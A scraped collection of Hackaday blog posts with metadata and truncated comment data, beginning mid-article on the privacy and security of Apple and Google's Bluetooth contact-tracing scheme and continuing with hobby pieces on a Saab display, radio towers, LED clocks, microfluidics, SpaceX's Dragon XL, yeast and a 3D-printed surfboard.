from uncontrolled exponential growth to something that’s potentially more manageable, but it’s not clear that we yet see an end in sight. So far, this has required hundreds of millions of people to go into essentially voluntary quarantine. But that’s a blunt tool. In an ideal world, you could stop the disease globally in a couple weeks if you could somehow test everyone and isolate those who have been exposed to the virus. In the real world, truly comprehensive testing is impossible, and figuring out whom to isolate is extraordinarily difficult due to two factors: COVID-19 has a long incubation period during which it is nonetheless transmissible, and
some or even most people don’t know they have it
. How can you stop what you can’t see, and even when you can detect it, it’s a week too late?
One promising approach is to isolate those people who’ve been in contact with known cases during the stealth contagion period. To do this is essentially to keep a diary of everyone you’ve been in contact with for the last week or two, and then if you eventually test positive for COVID-19, alert them all so that they can keep from infecting others even before they test positive: track and trace. Doctors can do this by interviewing patients who test positive (this is the “contact tracing” we’ve been hearing so much about), but memory is imperfect. Enter a technological solution.
Proximity Tracing By Bluetooth LE
The system that Apple and Google are rolling out
aims to allow people to see if they’ve come into contact with others who carry COVID-19, while respecting their privacy as much as possible. It’s broadly similar to what was suggested by
a team at MIT lead by Ron Rivest
, a
group of European academics
, and
Singapore’s open-source BlueTrace system
. The core idea is that each phone emits a pseudo-random number using Bluetooth LE, which has a short range. Other nearby phones hear the beacons and remember them. When a cellphone’s owner is diagnosed with COVID-19, the numbers that person has beaconed out are then released, and your phone can see if it has them stored in its database, suggesting that you’ve had potential exposure, and should maybe get tested.
Notably, and in contrast to how
tracking was handled in South Korea or Israel
, no geolocation data is necessary to tell who has been close to whom. And the random numbers change frequently enough that they can’t be used to track your phone throughout the day, but they’re generated by a single daily key that can be used to link them together once you test positive.
(In Singapore, the government’s health ministry also received a copy of everyone’s received beacons, and could do follow-up testing in person. While this is doubtless very effective, due to HIPAA privacy rules in the US, and similar patient privacy laws in Europe, this centralized approach is probably not legal. We’re not lawyers.)
The Crypto
In the
Apple/Google crypto scheme
(PDF), your phone generates a secret “tracing key” that’s specific to your device once. It then uses that secret key to generate a “daily tracing key” every day, subsequently generating a “rolling proximity identifier” from the daily key every 15 minutes. Each more frequent key is generated from its parent by
hashing
with a timestamp, making it nearly impossible to go up the chain, deducing your daily key from the proximity identifiers that are beaconed out, for instance, but everything can be easily verified in the downstream direction. The 32
byte
tracing key is big enough that collisions are extremely unlikely, and the individual-specific tracing key need never be revealed.
If you test positive, your daily keys for the time window that you were contagious are uploaded to a “Diagnosis Server”, which then sends these daily keys around to all participating phones, allowing each device to check the beacons that it received against the list of contagious people-days that it gets from the server. None of your exposure data needs to leave your phone, ever.
The diagnosis server uses the daily keys of contagious individuals so that your phone will be able to distinguish between a single short contact, where only one identifier from a certain daily key was seen, and a longer, more dangerous contact, where multiple 15-minute identifiers were seen from the same infected daily key, even though your phone can’t otherwise link the rolling proximity identifiers together over time. And because the daily keys are derived from your secret tracing key in a one-way manner, the server doesn’t need to know anything about your identity if you’re infected.
The
ACLU produced a whitepaper
that predates the proposed plan, but covers what they’d like to see addressed on the privacy and security fronts, and viewed in that light, the current proposition scores quite well. That it lines up with other privacy preserving “contact tracing” proposals is also reassuring.
What Could Possibly Go Wrong?
The most obvious worry about this system is that it will generate tons of false positives. A Bluetooth signal can penetrate walls that viruses can’t. We imagine an elevator trip up a high-rise apartment building “infecting” everyone who lives within radio range of the shaft. At our local grocery store, the cashiers are fairly safely situated behind a large acrylic shield, but Bluetooth will go right through it. The good news is that these chance encounters are probably short, and a system could treat these single episodes as a low-exposure risk in order to avoid overwhelming users with false alarms. And if people are required to test positive before their daily keys are uploaded, rather than the phones doing something automatically, it prevents chain reactions.
But if the system throws out all of the short contacts, it also misses that guy with a fever who has just sneezed while walking past you in the toilet paper aisle. In addition to false positives, there will be non-detection of true positives. Bluetooth signal range is probably a decent proxy for actual exposure, but it’s imperfect. Bluetooth doesn’t know if you’ve washed your hands.
The cascaded hash of secret keys makes it pretty hard to fake the system out. Imagine that you wanted to fool us into thinking that we had been exposed. You might be able to overhear some of the same beacons that we do, but you’ll be hard-pressed to derive a daily key that will, at that exact time, produce the rolling identifier that we received, thanks to the one-way hashing.
Mayhem, Key Loss, and It’s Only an API
What we can’t see, however, is what prevents a malicious individual from claiming they have tested positive for COVID-19 when they haven’t. If reporting to the diagnosis servers is not somehow audited, it might not take all that many antisocial individuals to create an illusory outbreak by walking a phone around in public and then reporting it. Or doing the same with a programmable Bluetooth LE device. Will access to the diagnosis server be restricted to doctors? Who? How? What happens when a rogue gets the credentials?
The presence of a secret tracing key, even if it is supposed to reside only on your phone, is a huge security and privacy risk. It is the keys to the castle. A cellphone is probably the least secure computing device that you own — apps that leak data about you abound, whether intentionally malicious or created by corporations that simply want to know you better. If we’re lucky, this tracing key is stored encrypted on the phone, at least making it harder to get at. But it can’t be stored safely (read: hashed) because it needs to be directly available to the system to generate the daily keys.
Will diagnosis keys be revocable? What happens when a COVID test yields a false positive? You’d certainly want to be able to un-warn all of the people in the system. Or do we require two subsequent positive tests before registering with the server? And how long is a person contagious after being tested? We hope that a diagnosed individual would stay confined at home, but we’re not naive enough to believe that it always happens. When does reporting of daily keys stop? Who stops it?
Which brings us to the apps. What Apple and Google are proposing is only an application programming interface (API) to be eventually replaced with an OS-level service. This infrastructure only enables third-parties to create their Bluetooth-tracker applications, the diagnosis servers, and all the rest of the infrastructure. The work there remains TBD. These will naturally have to be written by trusted parties, probably national health agencies. Even if this is a firm foundation, trust will have to be placed higher up along the chain as well. For instance, it says in the spec that “the (diagnosis) server must not retain metadata from clients”, and we’ll have to trust them to be doing that right, or else the promise of anonymity is in danger.
We’re nearly certain that malign COVID-19 apps will also be written to take advantage of naive users — see the current rash of coronavirus-related phishing for proof.
Will it Work?
This is uncharted territory, and we’re not really sure that this large-scale tracing effort will even work. Something like this
did
work in Singapore, but there are many confounding factors. For one, the Singapore system reported contacts directly to the Health Ministry, and an actual person would follow up on your case thereafter. The raw man- and woman-power mobilized in the containment effort should not be underestimated. Secondly, Singapore also suffered through
SARS
and mobilized amazingly effectively against the avian flu in 2005. They had practiced for pandemics, caught the COVID-19 outbreak early, and got ahead of the disease in a way that’s no longer an option in Europe or the US. All of this is independent of Bluetooth tracking.
But as the disease lingers on, and the acute danger of overwhelmed hospitals wanes, there will be a time when precautions that are less drastic than self-imposed quarantine become reasonable again. Perhaps then a phone app will be just the ticket. If so, it might be good to be prepared.
Will it work? Firstly, and this is entirely independent of servers or hashing algorithms, if COVID-19 tests aren’t widely and easily available, it’s all moot. If nobody gets tested, the system won’t be able to warn people, and they in turn won’t get tested. The system absolutely hangs on the ability for at-risk participants to get tested, and ironically proper testing and medical care may render the system irrelevant.
Human nature will play against us here, too. If someone gets a warning for a few days in a row, but doesn’t feel sick, they’ll disregard the flashing red warning signal, walking around for a week in disease-spreading denial. Singapore’s system, where a human caseworker comes and gets you, is worlds apart in this respect.
Finally, adoption is the elephant in the room. The apps have yet to be written, but they will be voluntary, and can’t help if nobody uses them. But on the other side of the coin, if contact tracing
does
get widely used, it will become more effective, which will draw more participants in a virtuous cycle.
The Devil is in the Details
The framework of the Apple/Google system seems fairly solid, and most of the remaining caveats look like they’re buried in the implementation. The tradeoff between false positives and missed cases is determined by how many and what kind of Bluetooth contacts the system reads as “contagious”. App and server security are TBD, but can in principle be handled properly. Assuming that all of the collateral resources, like easily available COVID-19 tests, can be brought into play, all that’s left is the hard part. How can we make sure it goes as well as possible?
The Electronic Frontier Foundation
came out with a report
just after the Apple/Google framework was released, and while it gives a seal of approval to the basics, it also has a laundry list of safeguards for any applications that are developed on that framework. Consent, minimization of data collection, information security, transparency, absence of bias, and the ability to expire the data once the crisis is over are their guidelines. These also line up with the recommendations of the
German Chaos Computer Club
as well, who additionally push for open-source code to allow the code to be audited by those who have concerns about how their data is being handled.
It’s heartening to see many of the privacy concerns addressed by Google and Apple as well, but we’d like to hear some discussion about what their criterion are for shutting the whole thing down when it’s all over. A global pandemic is perhaps a good time to doff your tinfoil hat in service of the greater good, but we do
not
want ubiquitous contact tracing to become the new normal.
While some might dismiss privacy concerns and software details as secondary to getting us through the COVID-19 pandemic, the success or failure of this project lies in whether or not people opt in, get tested when they should, and behave appropriately when they show up positive. People will only opt in if they trust the system, and they will only get tested if that’s made as easy as possible. Only one of these two can be solved with software. | 85 | 35 | [
{
"comment_id": "6237753",
"author": "Peter Fankhänel",
"timestamp": "2020-04-16T14:40:42",
"content": "Great article!More info on the subject byBruce Schneierhttps://www.schneier.com/blog/archives/2020/04/contact_tracing.htmland Ross Andersonhttps://www.lightbluetouchpaper.org/2020/04/12/contact-tr... | 1,760,373,519.689035 | ||
https://hackaday.com/2020/04/16/reverse-engineering-a-saabs-in-dash-display/ | Reverse Engineering A Saab’s In-Dash Display | Tom Nardi | [
"car hacks"
] | [
"dashboard",
"i2c",
"lcd",
"reverse engineering",
"Saab",
"schematic"
] | For [Leigh Oliver], there’s something undeniably appealing about the green on black instrumentation of the 2003 Saab 9-3 Gen2. Perhaps it’s because the Infotainment Control Module 2 (ICM2) screen brings a bit of that classic
Matrix
vibe to the daily commute. Whatever the reason, it seemed the display deserved better than to be stuck showing the nearly 20 year old stock user interface. Luckily,
you can control it via I2C
.
Though as you might expect, that fact wasn’t obvious at first. [Leigh] had to start by taking the ICM2 apart and reverse engineering the display board. With a multimeter and high resolution photographs of both sides of the PCB, all of the traces were mapped out and recreated in KiCAD. This might not have been strictly necessary, but it did serve as good practice for using KiCAD; a worthwhile tip for anyone else looking to build practical experience creating schematics.
With everything mapped out, [Leigh] was able to connect a BusPirate V3 up to the board and pretty quickly determine it was using I2C to control the display. As far as figuring out how to repurpose existing displays goes, this was perhaps the best possible scenario. It even allowed for creating a display library based on
Adafruit_GFX
which offers graphical capabilities far beyond what the ICM2 module itself is capable of.
Even with so much progress made, this project is really just getting started. [Leigh] has managed to put some impressive imagery on the black and green Saab display, but the hardware side of things is still being worked on. For example, there’s some hope that an I2C multiplexer would allow the display to easily and quickly be switched between “stock” mode and whatever enhanced version comes about thanks to the new libraries and an ESP8266 hiding behind the dashboard.
If you don’t have a sufficiently vintage Saab to take advantage of this project, don’t worry.
Tapping into the OBD port with an OLED display
can get you similar results on a wide range of vehicles. | 7 | 3 | [
{
"comment_id": "6237714",
"author": "Francis Theodore Catte",
"timestamp": "2020-04-16T12:30:10",
"content": "the SIDs (SAAB Information Display) in the OG9-5, OG9-3, and NG900 are pretty well documented and hackable, too. in Trionic 7 cars (OG9-3, OG9-5), you can even push stats from the ECU onto ... | 1,760,373,519.73501 | ||
https://hackaday.com/2020/04/16/a-dangerous-demonstration-of-the-power-of-radio/ | A Dangerous Demonstration Of The Power Of Radio | Dan Maloney | [
"Radio Hacks"
] | [
"am",
"antenna",
"broadcast",
"corona",
"discharge",
"modulation",
"plasma",
"radio",
"tower"
] | Terrestrial radio may be a dying medium, but there are still plenty of listeners out there. What would a commute to or from work be without a check of “Traffic on the Eights” to see if you need to alter your route, or an update of the scores from yesterday’s games? Getting that signal out to as many listeners as possible takes a lot of power, and
this dangerous yet fascinating demo
shows just how much power there is on some radio towers.
Coming to us by way of
a reddit post
, the short video clips show a crew working on a 15,000-Watt AM radio tower. They appear to be preparing to do tower maintenance, which means de-energizing the antenna. As the engineer explains, antennas for AM radio stations in the medium-wave band are generally the entire tower structure, as opposed to the towers for FM and TV stations, which generally just loft the antenna as high as possible above the landscape. The fun starts when the crew disconnects a jumper and an arc forms across the clamp and the antenna feed. The resulting ball of plasma acts like a speaker, letting us clearly hear the programming on the station. It’s like one of
the plasma speakers
we’ve seen before, albeit exceptionally more dangerous.
It’s an impressive display of the power coursing through broadcast towers, and a vivid reminder to not mess with them.
Such warnings often go unheeded
, sadly, with the young and foolish paying the price. There’s a reason they put fences up around radio towers, after all. | 56 | 14 | [
{
"comment_id": "6237668",
"author": "jafinch78",
"timestamp": "2020-04-16T08:43:03",
"content": "I recall one or two videos regarding RF burns over the years on Youtube. This one and watching to about 2:05 is like one of the earliest that surprised me.https://www.youtube.com/watch?v=L50x35df2nI&fe... | 1,760,373,519.867964 | ||
https://hackaday.com/2020/04/15/led-clock-strips-time-down-to-pulses-of-light/ | LED Clock Strips Time Down To Pulses Of Light | Kristina Panos | [
"Art",
"clock hacks"
] | [
"clock",
"ESP-01",
"ESP8266",
"fastLED",
"led",
"ws2812"
] | Nietzsche said (essentially) that time is a flat circle — we are doomed to repeat history whether we remember it or not. This is a stark and sobering thought for sure, but it’s bound to dissipate the longer you look at [andrei.erdei]’s
literal realization of time as a flat circle
.
A clock that uses nothing but RGB LEDs to give the time sounds confusing and potentially cluttered, but the result here is quite pleasing and serene. We figure it must be the combination of brighter LEDs to represent 12, 3, 6, and 9, and dimmer LEDs for the rest of the numbers, plus the diffusion scheme. The front plate is smoky acrylic topped with two layers of frosted black window foil.
Inside the printed plastic ring are two adhesive RGB LED strips running on an ESP8266 that ultimately connects to an NTP time server. The strips are two halves of an adhesive 60 LED/meter run that have been stuck together back to back so that the lights are staggered for seamless coverage. This sets up the coolest thing about this clock — the second hand, which is represented by a single pink LED zig-zagging back and forth around the ring. Confused? Watch the short demo after the break and you’ll figure it out in no time.
Now that times are strange, you might be more interested in a straightforward approach to finding out what day it is.
The wait is over
. | 7 | 7 | [
{
"comment_id": "6237652",
"author": "Thomas Anderson",
"timestamp": "2020-04-16T07:00:28",
"content": "That looks cool",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6237682",
"author": "just sayin",
"timestamp": "2020-04-16T10:08:49",
"content": ... | 1,760,373,519.775208 | ||
https://hackaday.com/2020/04/15/this-camera-captures-piezo-inkjet-micro-drops-for-diy-microfluidics/ | This Camera Captures Piezo Inkjet Micro-Drops For DIY Microfluidics | Donald Papp | [
"digital cameras hacks",
"Science"
] | [
"3d printed",
"camera",
"inkjet",
"lens",
"micro-drop",
"microfluidics",
"piezo",
"strobe"
] | In microfluidics, there are “drop on demand” instruments to precisely deposit extremely small volumes (pico- or nano-liters) of fluid. These devices are prohibitively expensive, so [Kyle] set out to design a system using hobbyist-level parts for under $1000. As part of this, he has a fascinating use case for a specialized camera:
capturing the formation and shape of a micro-drop as it is made
.
There are so many different parts to this effort that it’s all worth a read, but the two big design elements come down to:
Making the microdrop using a piezo element
Ensuring the drop is made correctly, and visually troubleshooting
Working prototype. The piezo tube is inside the blue piece at the top. The camera is to the right, and the LED strobe is on the left.
It’s one thing to make an inkjet element in a printer work, but it’s quite another to make a piezoelectric element dispense arbitrary liquids in a controlled, repeatable, and predictable way. Because piezoelectric elements force liquid out with a mechanical motion,
different liquids require different drive signals
and that kind of experimentation requires a way to see what is going on, hence the need for a drop observation camera.
[Kyle] ended up taking the lens assembly from a cheap USB microscope and mating it to his Korukesu C1 USB Camera with a 3D printed assembly. Another 3D printed enclosure doubles as a lightbox, holding the piezo tube in the center with the LED strobe and camera on opposite sides. The whole assembly had a few false starts, but in the end [Kyle] seems pretty happy with his results. The
device is briefly described at a high level
here. There are some rough edges, but it’s a working system.
Inkjet technology has been around for a long time (you can
see a thirty-plus year old inkjet printer in action here
) but it’s worth mentioning that not all inkjet heads are alike. Most inkjet printer heads operate thermally, which means a flash of heat vaporizes some ink to expel a micro-drop. These heads aren’t very suitable for microfluidics because not only do they rely on vaporizing the liquid, but they also don’t work well with anything other than the ink they’re designed for. Piezoelectric print heads are less common, but are more suited to the kind of work [Kyle] is doing. | 6 | 4 | [
{
"comment_id": "6237634",
"author": "Ostracus",
"timestamp": "2020-04-16T03:17:20",
"content": "“Piezoelectric print heads are less common, but are more suited to the kind of work [Kyle] is doing.”Epson.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "623776... | 1,760,373,519.948016 | ||
https://hackaday.com/2020/04/15/pulse-visualizer-is-a-real-work-of-heart/ | Pulse Visualizer Is A Real Work Of Heart | Kristina Panos | [
"Arduino Hacks"
] | [
"arduino",
"arduino nano",
"heart rate sensor",
"scissor mechanism",
"servo",
"sg90"
] | Some projects are all-around simple, such as the lemon battery or the potato clock. Other projects are rooted in simple ideas, but their design and execution elevates them to another level.
[Sharathnaik]’s heart visualizer may not be all that electronically complex, but the execution is pulse-pounding
.
The closest that most of us will get to seeing our own heartbeat is watching the skin twitch in our neck or wrist. You know that your heart doing the work of keeping you alive, but it’s hard to appreciate how it exerts itself. With just a few components and printed parts, the heart’s pumping action comes to life as your pulse drives single-x scissor mechanisms to push and pull the plastic plates.
This heart visualizer isn’t nearly as complex as the organ it models, and it’s an easy build for anyone just starting out in electronics. Put your finger on the heart rate sensor in the base, and an Arduino Nano actuates a single servo to your own personal beat. We’d love to see it work overtime while someone gets worked up. For now, there’s an even-tempered demo after the break, followed by an assembly video.
Heartbeat sensing can be romantic, too.
Here’s a lovely circuit sculpture that runs at the rate of the receiver
. | 4 | 4 | [
{
"comment_id": "6237555",
"author": "Paul",
"timestamp": "2020-04-15T21:07:24",
"content": "This would look great printed in TPU with arteries&veins, and with the twisty squishy motion a real heart makes. A Hallowe’en project, I think.",
"parent_id": null,
"depth": 1,
"replies": []
}... | 1,760,373,519.903728 | ||
https://hackaday.com/2020/04/15/spacex-offers-nasa-a-custom-moon-freighter/ | SpaceX Offers NASA A Custom Moon Freighter | Tom Nardi | [
"Current Events",
"Hackaday Columns",
"Original Art",
"Slider",
"Space"
] | [
"Artemis",
"cargo",
"dragon",
"gateway",
"moon",
"nasa",
"space station",
"SpaceX"
] | Under the current Administration, NASA has been tasked with returning American astronauts to the Moon as quickly as possible. The Artemis program would launch a crewed mission to our nearest celestial neighbor as soon as 2024, and establish a system for sustainable exploration and habitation by 2028. It’s an extremely aggressive timeline, to put it mildly.
To have any chance of meeting these goals, NASA will have to enlist the help of not only its international partners, but private industry. There simply isn’t enough time for the agency to design, build, and test all of the hardware that will eventually be required for any sort of sustained presence on or around the Moon. By awarding a series of contracts, NASA plans to offload some of the logistical components of the Artemis program to qualified companies and agencies.
Artist’s Rendering of the Dragon XL
For anyone who’s been following the New Space race these last few years, it should come as no surprise to hear that
SpaceX has already been awarded one of these lucrative logistics contracts
. They’ve been selected as the first commercial provider for cargo deliveries to Gateway, a small space station that NASA intendeds to operate in lunar orbit. Considering SpaceX already has a contract to resupply the International Space Station, they were the ideal candidate to offer similar services for a future lunar outpost.
But that certainly doesn’t mean it will be easy. The so-called “Gateway Logistics Services” contract stipulates that providers must be able to deliver at least 3,400 kilograms (7,500 pounds) of pressurized cargo and 1,000 kilograms (2,200 pounds) of unpressurized cargo to lunar orbit. That’s beyond the capabilities of SpaceX’s Dragon spacecraft, which was only designed to service low Earth orbit.
To complete this new mission, the company is proposing a new vehicle they’re calling the Dragon XL that would ride to orbit on the Falcon Heavy booster. But even for this New Space darling, there’s not a lot of time to design, test, and build a brand-new spacecraft. To get the Dragon XL flying as quickly as possible, SpaceX is going to need to strip the craft down to the bare minimum.
Classically Inspired
Cygnus, operated by Northrop Grumman
So far we only have a single artist’s rendering of the Dragon XL to go by, but that’s already enough to learn a lot about how SpaceX is approaching this new lunar cargo craft. For one thing, it’s immediately obvious that the design is vastly different from either the original Dragon or its Crew Dragon counterpart. If anything, it looks far closer to Japan’s H-II Transfer Vehicle (HTV) or Northrop Grumman’s Cygnus.
Which of course makes perfect sense. Like the HTV and Cygnus, Dragon XL isn’t designed to fly in the atmosphere. Traditional space capsules get their conical shape from the fact that they’re mounted at the tip of the booster on ascent, and essentially act as the rocket’s nosecone. But Dragon XL will be riding to space inside the cargo fairing of the Falcon Heavy, which means there’s no reason for it to have an aerodynamic shape.
While on the subject of shape, the keen observer may notice that the fuselage for the Dragon XL appears to be the same diameter of the Falcon Heavy second stage that’s releasing it. While it’s nothing more than conjecture at this point, some have theorized that the Dragon XL may in fact be a repurposed Falcon second stage with a propellant tank serving as a pressurized cargo compartment. This would save SpaceX the trouble of building new tooling for Dragon XL, and isn’t without precedent;
Skylab was built from the upper stage of the Saturn V rocket
.
Keeping it Simple
We can also see that the Dragon XL has no primary rocket engine, meaning the second stage of the Falcon Heavy will need to provide the energy for
the trans-lunar injection (TLI) maneuver that will put it on course toward the Moon
. Once the TLI burn has been completed, the Dragon XL can be released, and the smaller reaction control system (RCS) thrusters dotting the periphery of the craft would be used to eventually slow the craft down for its rendezvous with Gateway.
That’s not the only major component that’s missing. Since the Dragon XL won’t be landing back on Earth, it doesn’t need a heat shield or parachutes. It’s unclear what will actually happen to this spacecraft once its cargo mission is complete, though the Gateway Logistics Services contract does mention the possibility of returning cargo to Earth orbit. This could mean a stop at the International Space Station for offloading, after which it would presumably be commanded to
reenter the Earth’s atmosphere in such a way that it will safely burn up over the ocean
.
Deleting the engine, heat shield, and parachutes from the craft obviously saves mass, which in turn increases the amount of usable cargo Dragon XL can bring to Gateway. But more than that, it also greatly reduces the amount of time and effort it will take to design and test the spacecraft. With avionics and an RCS system pulled from the standard Dragon, and a fuselage which may be a spare Falcon upper stage, the majority of craft’s hardware can be pulled from SpaceX’s existing production line.
Ample Trunk Space
The current Dragon is capable of carrying bulky cargo in an unpressurized “trunk” that sits between the capsule and upper stage of the Falcon 9 booster. This is ideal for components which don’t need to be brought inside, such as antenna arrays or
experiments that will be exposed to open space
.
Cargo loaded in the Dragon’s unpressurized trunk.
This capability has been used to bring several large components to the International Space Station, such as the Bigelow Expandable Activity Module (BEAM) and the International Docking Adapter (IDA). It’s only natural that NASA would want the same capability of vehicles applying for a Gateway Logistics Services contract, as having multiple craft capable of transporting station components will expedite the assembly process.
So we know Dragon XL has a “trunk” of its own, but where is it? On a standard Dragon, we’d see an open cargo bay when looking at it from the rear, but in its place appears to be a docking port. From this we can surmise that the Dragon XL arrangement is likely opposite that of the standard Dragon: instead of a docking port in the front and trunk in the rear, the trunk must be located in the front of the spacecraft where it can’t be seen in the promotional render.
Given how large the payload fairing is on the Falcon Heavy, this arrangement could potentially allow for the Dragon XL to carry long objects that actually extend outside of the unpressurized bay. As long as the RCS system can compensate for the change in the center of mass, there’s no reason that this new spacecraft couldn’t act as a “tug” for large sections of Gateway.
Coming Soon?
So when will Dragon XL fly? As with
many of the elements involved in NASA’s return to the Moon
, it’s a moving target. According to the current timeline the core module for Gateway is supposed to be launched late in 2022, which would then be followed by several launches carrying additional modules. The first crewed mission to Gateway could theoretically happen by 2024, and at that point, NASA is going to need to start flying resupply missions for consumables.
Assuming NASA sticks to this schedule (which is far from certain), Dragon XL could be called into action by 2025 or so. This gives SpaceX just about as much time as they had to get the original Dragon ready after it was selected for the Commercial Orbital Transportation Services contract in 2006. Given the experience they’ve gained in the intervening years, and the fact that they can literally borrow components from the mainline Dragon, there should be no technical problems standing in the way of having this new vehicle ready to greet the first group of astronauts to call Gateway home. | 58 | 12 | [
{
"comment_id": "6237522",
"author": "RW ver 0.0.1",
"timestamp": "2020-04-15T19:12:09",
"content": "So we gonna see the movie where Tom Hanks gets stranded on the moon in an ion storm… no wait they got ahead of us and did it with Matt Damon on Mars.",
"parent_id": null,
"depth": 1,
"rep... | 1,760,373,520.173042 | ||
https://hackaday.com/2020/04/13/yeast-is-a-hot-commodity-brewing-and-breadmaking-during-lockdown/ | Yeast Is A Hot Commodity; Brewing And Breadmaking During Lockdown | Jenny List | [
"Beer Hacks",
"cooking hacks",
"Hackaday Columns"
] | [
"ale",
"beer",
"bread",
"Covid-19",
"lager",
"sourdough",
"yeast"
] | In the recent frenzy of stocking up with provisions as the populace prepare for their COVID-19 lockdown, there have been some widely-publicised examples of products that have become scarce commodities. Toilet paper, pasta, rice, tinned vegetables, and long-life milk are the ones that come to mind, but there’s another one that’s a little unexpected.
As everyone dusts off the breadmaker that’s lain unused for years since that time a loaf came out like a housebrick, or contemplates three months without beer and rediscovers their inner home brewer, it seems yeast can’t be had for love nor money. No matter, because the world is full of yeasts and thus social media is full of guides for capturing your own
from dried fruit
, or
from the natural environment
. A few days tending a pot of flour and water, taking away bacterial cultures and nurturing the one you want, and you can defy the shortage and have as much yeast as you need.
More Than Just A Supermarket Product Line
CIdermaking, chez List. Natural yeast ciders can be tricky to get right, so I usually cheat and add a champagne yeast culture.
Everyone enjoys the odd crusty loaf or foaming pint. The yeast that make this possible is
an interesting technical subject in its own right
that makes a significant entry into the hacker community. There’s a lot more to it than just the sachets of baker’s yeast in the supermarket ingredients aisle and if you know what you’re doing you can snag it out of thin air.
Yeast cultivation is a subject in which I have more than a passing interest, because ever since I was a teenager
I have made my own real cider
. For years the quality of the yeast that ferments my juice has been of great concern to me, sometimes it’s gone wrong and I’ve gone to considerable lengths in other years to ensure I have the right strains.
Yeasts are single-cellular fungi, and just as with any other class of organisms there are many varieties present in the wild. Some can be found widely, while others are specific to particular environments or situations. Finding them is easy enough, they are so widely dispersed that they are present in some form almost everywhere, and the air you breathe probably contains significant numbers of yeast spores which are the source of some of the natural yeast cultures shared by those people on social media. I’m no expert in species taxonomy, but the type of yeasts we are interested in all belong to the
Saccharomyces
family, which the sharp-eyed will recognise as containing the Ancient Greek words for “sugar” and “fungus”.
The Hackaday Strain
The Hackaday Strain, showing some early promise of cloudy yeast.
Thanks to a liking for home-made pizza, we already had a pack of dried yeast in our cupboard here. But what if we hadn’t? It was time to put all that natural yeast cidermaking experience to the test. Into the store cupboard for some dried fruit and plain flour, and into the recycling bin for a jam jar with a lid. This was cleaned with some boiling water, and then a spoonful of currants were shaken up in it with some water. Immediately I could see some yeast had come off the currants, because the water was cloudy.
The process of turning cloudy currant water into a usable yeast culture is a slow and annoying one. The idea is to mix it up with some flour to serve as food and put it in a warm place, then once you can see the tell-tale bubbles and yeasty smell to indicate it’s started going, separate a small quantity of it with some fresh flour and water to make a new culture in a new container. Doing this several times over is designed to produce an environment that favours the yeast and reduces the chance of any bacterial cultures taking hold. It’s slow because wild yeasts take their time to get going, I’ve had wild yeast ciders that have sat for several days before fermentation kicks off.
Eventually though, if you are persistent you’ll have a big frothy mass of yeast that you can feed with sugar just as you would if you were activating dried yeast for baking or brewing. At the time of writing the Hackaday Strain is on its second new culture, and is starting to look as though it might have enough in it to be used for a pizza later in the week. A Core i7 desktop computer
running Folding@Home
provides plenty of warmth to incubate it. It’s important to point out though, that whatever yeast you might culture in this way will be a random variety depending on whatever you used to start it. If you’re lucky it’ll produce amazing bread and fine wines, if not you might need to give it another try.
Let’s Get Down To Varieties And Strains
An electron micrograph of
Saccharomyces cerevisiae
. Mogana Das Murtey and Patchamuthu Ramasamy /
CC BY-SA 3.0
.
The yeasts that you will capture if you create your own culture are likely to contain more than one variety, but the commercial yeasts you buy will have been carefully grown as a monoculture. The yeast used in baking, in brewing ale, and in wine and cider making are all different strains of the same variety,
Saccharomyces cerevisiae
, which is a yeast that thrives at a higher temperature. Thus when you make bread you leave it in a warm place for proving, and when you brew an ale you will warm the wort slightly for the best result. In both cases the fermentation is anaerobic resulting in the production of alcohol and carbon dioxide, and when it is in a liquid it floats to the top. thus ales are sometimes referred to as top-fermenting. It’s possible to brew ale with baker’s yeast, and though I’ve never done it, it’s no doubt possible to make bread with the corresponding beer strain.
Get your
Saccharomyces pastorianus
products, at
HackerBräu München
! Jebulon /
CC0
So having identified the protagonist in the making of both bread and ale, we might consider ourselves to be done, right? Perhaps some of you have noticed that I’ve used the word “ale” so far rather than “beer”, because of course top-fermenting ale is not the only type of beer. The word “lager” is rather misused in some English-speaking countries to mean a beer in the pale Pilsener style, but in fact “lager” from the practice of storing the brew in caves to mature, refers collectively to an entire class of beers fermented with an entirely different yeast variety.
Saccharomyces pastorianus
is a natural hybrid between
Saccharomyces cerevisiae
and another wild species, and ferments at a much lower temperature with the yeast settling to the bottom of the wort. These bottom-fermenting beers come in every bit as diverse a range of styles as their ale equivalents, leaving the mass-market “lagers” such as Budweiser or Carling a poor representation.
There is a third type of yeast culture that is commonly used in the making of bread, so-called sourdough. This is a mixture of yeast, usually
Saccharomyces exiguous
, and lactobacillus, yielding a fermentation that produces the lactic acid that gives the sourdough loaf its characteristic flavour. This yeast is tolerant of acidity, whereas
Saccharomyces cerevisiae
would die in the same situation.
I hope that this short introduction has given you a basic primer in the world of yeast, and that if you’re stuck for something to do while on lockdown you can at least try your hand at bread or beer without having to find a yeast sachet on those empty shelves. I didn’t have any hops, so I’ve got a batch of something new to me on the go:
spruce ale
. Good luck with whatever you try, and enjoy the fruits of your labour!
Header image: Jon Sullivan /
Public domain
. | 69 | 16 | [
{
"comment_id": "6236891",
"author": "Bruce Perens K6BP",
"timestamp": "2020-04-13T17:17:28",
"content": "I have had a sourdough starter for some years. I also started a culture of commercial rapid-rise yeast a week or so ago. I have a pH meter arriving today to make sure the rapid-rise culture is a... | 1,760,373,520.516711 | ||
https://hackaday.com/2020/04/13/dont-let-your-pla-filament-hang-loose-with-this-3d-printed-surfboard/ | Don’t Let Your PLA Filament Hang Loose With This 3D-Printed Surfboard | Moritz v. Sivers | [
"3d Printer hacks"
] | [
"3d printed",
"surfboard"
] | People always tend to push the boundaries of what is doable with a 3D printer. This is also true for [AndrewW1977] when he decided to 3D print a
full-sized functional surfboard
.
With just over nine full days of printing time, 95 individual pieces, and using 3.1 kg of PLA (not counting all the test prints), this is certainly a monumental project. One of the bigger issues [AndrewW1977] had to solve was avoiding air pockets inside the board. Ideally, you would want to end up with only one continuous hollow chamber in order to easily vent all the air inside the board when it heats up. [AndrewW1977] chose to overcome this problem by using zero infill for each individual piece. The pieces were then connected with the help of alignment pins that have a central hole thereby connecting all hollow chambers.
By using a triangular shape, he managed to print all pieces without using supports. After gluing them together the whole board was covered with fiberglass and epoxy resin similar to traditional surfboard building. Unfortunately, due to the current situation with Covid19 [AndrewW1977] remains short of showing us the board in action. In case you have a 3D printer at home and lots of spare time during lockdown, [AndrewW1977] has published all files for his surfboard on
Thingiverse
.
As [AndrewW1977] points out in the video embedded below other people have already done
similar projects
. From
jet boats
to
electric hydrofoils
it seems that water sports and 3D printing are a perfect match. | 8 | 6 | [
{
"comment_id": "6236872",
